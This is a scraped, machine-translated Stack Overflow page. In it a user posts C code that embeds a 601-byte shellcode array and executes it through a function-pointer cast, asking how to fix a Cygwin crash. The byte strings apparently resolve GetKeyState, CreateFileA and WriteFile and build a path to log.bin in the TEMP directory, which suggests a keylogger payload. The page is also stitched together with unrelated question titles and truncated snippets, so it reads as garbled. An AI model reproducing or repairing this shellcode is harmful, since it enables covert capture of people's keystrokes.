- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
如果我执行以下代码,则会出现此堆栈转储错误消息:
1 [main] MyProg 10876 cygwin_exception::open_stackdumpfile: Dumping stack trace to MyProg.exe.stackdump
打印后
Shellcode length: 601
你能告诉我,我应该改变什么才能让它工作吗?我在 Windows 10 64 位上使用 Sublime Text 和 cygwin 编译了它。
这是代码:
#include <stdio.h>
#include <string.h>
const char sc[] = "\xfc\x31\xd2\xb2\x30\x64\xff\x32\x5a\x8b\x52\x0c\x8b\x52\x14\x8b"
"\x72\x28\x31\xc0\x89\xc1\xb1\x03\xac\xc1\xc0\x08\xac\xe2\xf9\xac"
"\x3d\x4e\x52\x45\x4b\x74\x05\x3d\x6e\x72\x65\x6b\x8b\x5a\x10\x8b"
"\x12\x75\xdc\x8b\x53\x3c\x01\xda\xff\x72\x34\x8b\x52\x78\x01\xda"
"\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74"
"\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64"
"\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x8b"
"\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd7\x52\x31\xc0\x50\x68"
"\x64\x6c\x65\x41\x68\x65\x48\x61\x6e\x68\x6f\x64\x75\x6c\x68\x47"
"\x65\x74\x4d\x54\x53\xff\xd7\x8d\x64\x24\x14\x50\x68\x4c\x4c\x01"
"\x88\xfe\x4c\x24\x02\x68\x33\x32\x2e\x44\x68\x55\x53\x45\x52\x54"
"\xff\xd0\x31\xd2\x39\xd0\x75\x38\x8d\x64\x24\x0c\x52\x68\x61\x72"
"\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd7"
"\x8d\x64\x24\x10\x50\x68\x4c\x4c\x01\x77\xfe\x4c\x24\x02\x68\x33"
"\x32\x2e\x44\x68\x55\x53\x45\x52\x54\xff\xd0\x8d\x64\x24\x0c\x50"
"\x89\xc2\x68\x61\x74\x65\x01\xfe\x4c\x24\x03\x68\x65\x79\x53\x74"
"\x68\x47\x65\x74\x4b\x54\x52\xff\xd7\x8d\x64\x24\x0c\x50\x68\x65"
"\x01\x01\x55\xfe\x4c\x24\x01\x68\x65\x46\x69\x6c\x68\x57\x72\x69"
"\x74\x54\x53\xff\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe"
"\x4c\x24\x03\x68\x74\x65\x46\x69\x68\x43\x72\x65\x61\x54\x53\xff"
"\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe\x4c\x24\x03\x68"
"\x72\x69\x61\x62\x68\x6e\x74\x56\x61\x68\x6f\x6e\x6d\x65\x68\x6e"
"\x76\x69\x72\x68\x47\x65\x74\x45\x54\x53\xff\xd7\x8d\x64\x24\x18"
"\x50\x6a\x70\x68\x53\x6c\x65\x65\x54\x53\xff\xd7\x8d\x64\x24\x08"
"\x50\x52\x68\x63\x61\x74\x41\x68\x6c\x73\x74\x72\x54\x53\xff\xd7"
"\x8d\x64\x24\x0c\x50\x31\xc9\xb1\x0e\x51\xe2\xfd\x51\x68\x54\x45"
"\x4d\x50\x89\xe1\x6a\x40\x51\x51\xff\x54\x24\x54\x89\xe2\x6a\x01"
"\xfe\x0c\x24\x68\x2e\x62\x69\x6e\x68\x5c\x6c\x6f\x67\x89\xe1\x51"
"\x52\xff\x54\x24\x54\x31\xc9\x51\x51\x80\x04\x24\x80\x6a\x04\x51"
"\x6a\x02\x51\x80\x04\x24\x04\x50\xff\x54\x24\x74\x8d\x64\x24\x4c"
"\x50\x31\xc9\x89\xce\xb1\x08\x56\xe2\xfd\x31\xc9\x31\xf6\x6a\x08"
"\xff\x54\x24\x2c\x89\xf0\x3c\xff\x73\xf0\x46\x56\xff\x54\x24\x3c"
"\x89\xf2\x31\xc9\xb1\x80\x21\xc8\x31\xc9\x39\xc8\x75\x10\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xb3\x14\x84\xeb\xd6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xa3\x14\x84\x72\xc6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xab\x14\x84\x31\xc9\x56\x51"
"\x8d\x0c\x24\x51\x6a\x01\x8d\x4c\x24\x0c\x51\xff\x74\x24\x34\xff"
"\x54\x24\x4c\x8d\x64\x24\x04\xeb\x91";
int main(int argc, char *argv[]){
printf("Shellcode length: %d\n", (int)strlen(sc));
(*(void(*)(void))&sc)();
return 0;
}
最佳答案
这个:(*(void(*)(void))&sc)();
您正在获取一个指向 const char[]
第一个元素的指针,将其转换为函数指针并尝试执行该函数。
我无法诚实地想象成功......我能想到的“让它发挥作用”的唯一方法,因为我不知道你的意图是什么,就是不转换 const char
指针并尝试将其作为函数执行。
如果您只想要一个指向函数的指针,这很简单:
void sc (void)
{
// do things
}
int main (void)
{
void (*fptr)(void);
fptr = sc;
fptr();
}
关于c - Stackdump - 编译的 .c 代码,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/40663851/
在下面的代码中,我在 python 模块代码中使用了 try/catch。在 try block 中,我有一个简单的错误(内存访问冲突)并试图捕获相应的异常并安静地终止程序而不生成 .stackdum
这个问题很可能是 Using a stackdump from Cygwin executable 的重复问题- 但我是初学者,我不明白答案,甚至部分问题。 我是 C++ 和编程的新手,我正在使用 N
我是 cygwin(和 linux)的新手。 当我尝试运行基于 C 语言的可执行文件时,发生了段错误,并且我获取了 stackdump 文件。但是,我不知道如何使用它进行调试。 我一直在寻找如何使用
当我使用 MinGW make 的 unix 实用程序时,我得到一个 StackDump 文件: 错误: sed -i -e 's/reveal.js\/css\/theme\/simple.css/
如果我执行以下代码,则会出现此堆栈转储错误消息: 1 [main] MyProg 10876 cygwin_exception::open_stackdumpfile: Dumping stack t
我有一个应用程序有时会崩溃并创建下一个文件:(APP.exe.stackdump) Exception: STATUS_ACCESS_VIOLATION at eip=6BA4B246 eax=674
我收到“cygwin_exception::open_stackdumpfile:将堆栈跟踪转储到 TestProject.exe.stackdump”错误。我的项目只不过是一个 C++ HalloW
我有一个 C 程序(我们称之为“progam1”)以及 3 个输入文件(例如 “in1.txt”、“in2.txt”、in3.txt” )和 3 个最初为空的输出文件(“out1、”out2”、“ou
这是我在 Airport.cpp 中的主要内容: #include #include "Airport_Queue.h" #include "Airplane.h" #include int ma
在 eclipse cdt 上以 Debug模式运行我的应用程序后,我尝试了以下命令并通过生成文件 TestC++.exe.stackdump 进行了 segmentation gdb ./Debug
我是 Git 的新手,对“stash ”命令有疑问。 当我写“git stash”、“git stash list”、“git stash apply”、“git drop”等命令时,我总是得到一个名
我是动态内存分配的新手,我尝试编写一个简单的程序来连接 2 个字符串(一个已初始化,一个从标准输入读取),第一个字符串使用 realloc。但是我收到这个错误: cygwin_exception::o
#include #include #include #include #include #include #include using namespace std; struct no
我是一名优秀的程序员,十分优秀!